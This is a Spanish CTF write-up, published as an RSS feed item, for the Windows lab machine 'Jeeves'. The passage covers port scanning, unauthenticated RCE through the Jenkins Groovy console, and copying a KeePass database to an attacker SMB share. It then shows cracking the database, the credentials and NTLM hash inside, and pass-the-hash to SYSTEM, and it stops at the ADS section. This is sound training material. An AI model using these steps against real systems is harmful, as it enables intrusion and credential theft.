<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Jenkins on</title><link>https://synacklabs.github.io/tags/jenkins/</link><description>Recent content in Jenkins on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Tue, 20 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/jenkins/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Jeeves (Medium)</title><link>https://synacklabs.github.io/posts/jeeves/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/jeeves/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c3-82e1-ee4161eee2b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Comenzamos con un escaneo de puertos para identificar servicios expuestos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft IIS httpd &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/&lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OPTIONS TRACE GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Ask Jeeves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; microsoft-ds (workgroup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Jetty &lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Jetty(&lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Error &lt;span style="color:#ae81ff"&gt;404&lt;/span&gt; Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; JEEVES; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m03s, deviation&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 0s, median&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5h00m02s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;33742&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23387&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;64279&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;23548&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; disabled (dangerous, but &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-20T20&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos dos puertos web principales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 80 (IIS):&lt;/strong&gt; Muestra una página de búsqueda &amp;ldquo;Ask Jeeves&amp;rdquo; que da error al intentar buscar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8045-baae-ebf91399148f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-844b-e8a97c7226e5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Puerto 50000 (Jetty):&lt;/strong&gt; Muestra un error 404 por defecto.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808a-b7d1-dbc791ca789d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Este error indica que hay un servidor web ejecutándose en tu puerto &lt;strong&gt;50000&lt;/strong&gt;, pero no hay ninguna página o contenido configurado en la raíz (&lt;code&gt;/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/FUZZ ---- NO ENCONTRAMOS NADA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-&lt;span style="color:#ae81ff"&gt;2.3&lt;/span&gt;-medium.txt -u http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.79.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;/FUZZ ---- askjeeves [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;302&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 54ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="acceso-inicial-jenkins"&gt;Acceso Inicial (Jenkins)&lt;/h2&gt;
&lt;p&gt;Al acceder a &lt;code&gt;http://10.129.79.44/askjeeves&lt;/code&gt;, encontramos un servidor de automatización &lt;strong&gt;Jenkins&lt;/strong&gt; (versión 2.87).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80ba-b41a-c5d84df3c4f0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-groovy-script-console"&gt;Explotación de Groovy Script Console&lt;/h3&gt;
&lt;p&gt;No se requieren credenciales. Podemos acceder a &lt;code&gt;Manage Jenkins&lt;/code&gt; -&amp;gt; &lt;code&gt;Script Console&lt;/code&gt;. Esta consola permite ejecutar scripts en &lt;strong&gt;Groovy&lt;/strong&gt;, lo cual equivale a ejecución de comandos en el sistema.&lt;/p&gt;
&lt;p&gt;Probamos una Reverse Shell en Groovy:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-802c-b812-df7729a7b505.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-a7ab-ed6d5d36e1e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Conseguimos acceso como el usuario: &lt;code&gt;jeeves\kohsuke&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.&lt;/p&gt;
&lt;p&gt;Enumerando el sistema de archivos de &lt;code&gt;kohsuke&lt;/code&gt;, encontramos un archivo interesante en el directorio ‘Documents’:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8030-9245-ef1c47ee0cde.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La extensión &lt;code&gt;.kdbx&lt;/code&gt; pertenece a &lt;strong&gt;KeePass&lt;/strong&gt;, que es un gestor de contraseñas de código abierto.&lt;/p&gt;
&lt;h2 id="post-explotación-y-movimiento-lateral"&gt;Post-Explotación y Movimiento Lateral&lt;/h2&gt;
&lt;h3 id="exfiltración-con-smbserver"&gt;Exfiltración con SMBServer&lt;/h3&gt;
&lt;p&gt;Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Kali (Atacante)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] User JEEVES\kohsuke authenticated successfully
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] kohsuke::JEEVES&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aaaaaaaaaaaaaaaa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7507b33e1ec7eb5636215c53f6838840&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Connecting Share(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;share)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;En Windows (Víctima)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Users\kohsuke\Documents&amp;gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;copy CEH.kdbx \\&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;\share\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; file(s) copied.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-keepass"&gt;Cracking KeePass&lt;/h3&gt;
&lt;p&gt;Primero extraemos el hash del archivo &lt;code&gt;.kdbx&lt;/code&gt; y luego lo crackeamos con John the Ripper.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8033-bb0f-e4fbdc72c8b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Loaded &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; password hash (KeePass [SHA256 AES &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;moonshine1 (CEH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="inspección-de-credenciales-kpcli"&gt;Inspección de Credenciales (Kpcli)&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;kpcli&lt;/code&gt; para abrir la base de datos con la contraseña obtenida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8053-9abe-ddb5454c044d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos ver las credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8021-997f-cb72b82132d0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Si las copiamos las tenemos en el copiapapeles.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Backup stuff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e0fb1fb85756c24235ff238cbe81fe00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kpcli&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/CEH&amp;gt; show -p &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Unknown option&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; It&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s a secret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; F7WhTrSFDKB6sxHU1cUn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//localhost&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8180&lt;/span&gt;/secret.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Keys to the kingdom
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Uname&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; bob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Pass&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; lCEUnYPjNfIuPZSzOySA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; URL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Notes&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="escalada-de-privilegios-pass-the-hash"&gt;Escalada de Privilegios (Pass The Hash)&lt;/h2&gt;
&lt;p&gt;El hash encontrado en &amp;ldquo;Backup stuff&amp;rdquo; es un hash NTLM. Podemos usar la técnica &lt;strong&gt;Pass The Hash (PtH)&lt;/strong&gt; para autenticarnos como Administrador sin saber la contraseña en texto claro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8028-bbf4-f8c0847fcca8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Obtenemos una shell como &lt;code&gt;nt authority\system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c1-b2d7-e85a480e1efb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pues parece que no hemos acabado …&lt;/p&gt;
&lt;h2 id="el-rabbit-hole-de-la-root-flag-ads"&gt;El &amp;ldquo;Rabbit Hole&amp;rdquo; de la Root Flag (ADS)&lt;/h2&gt;
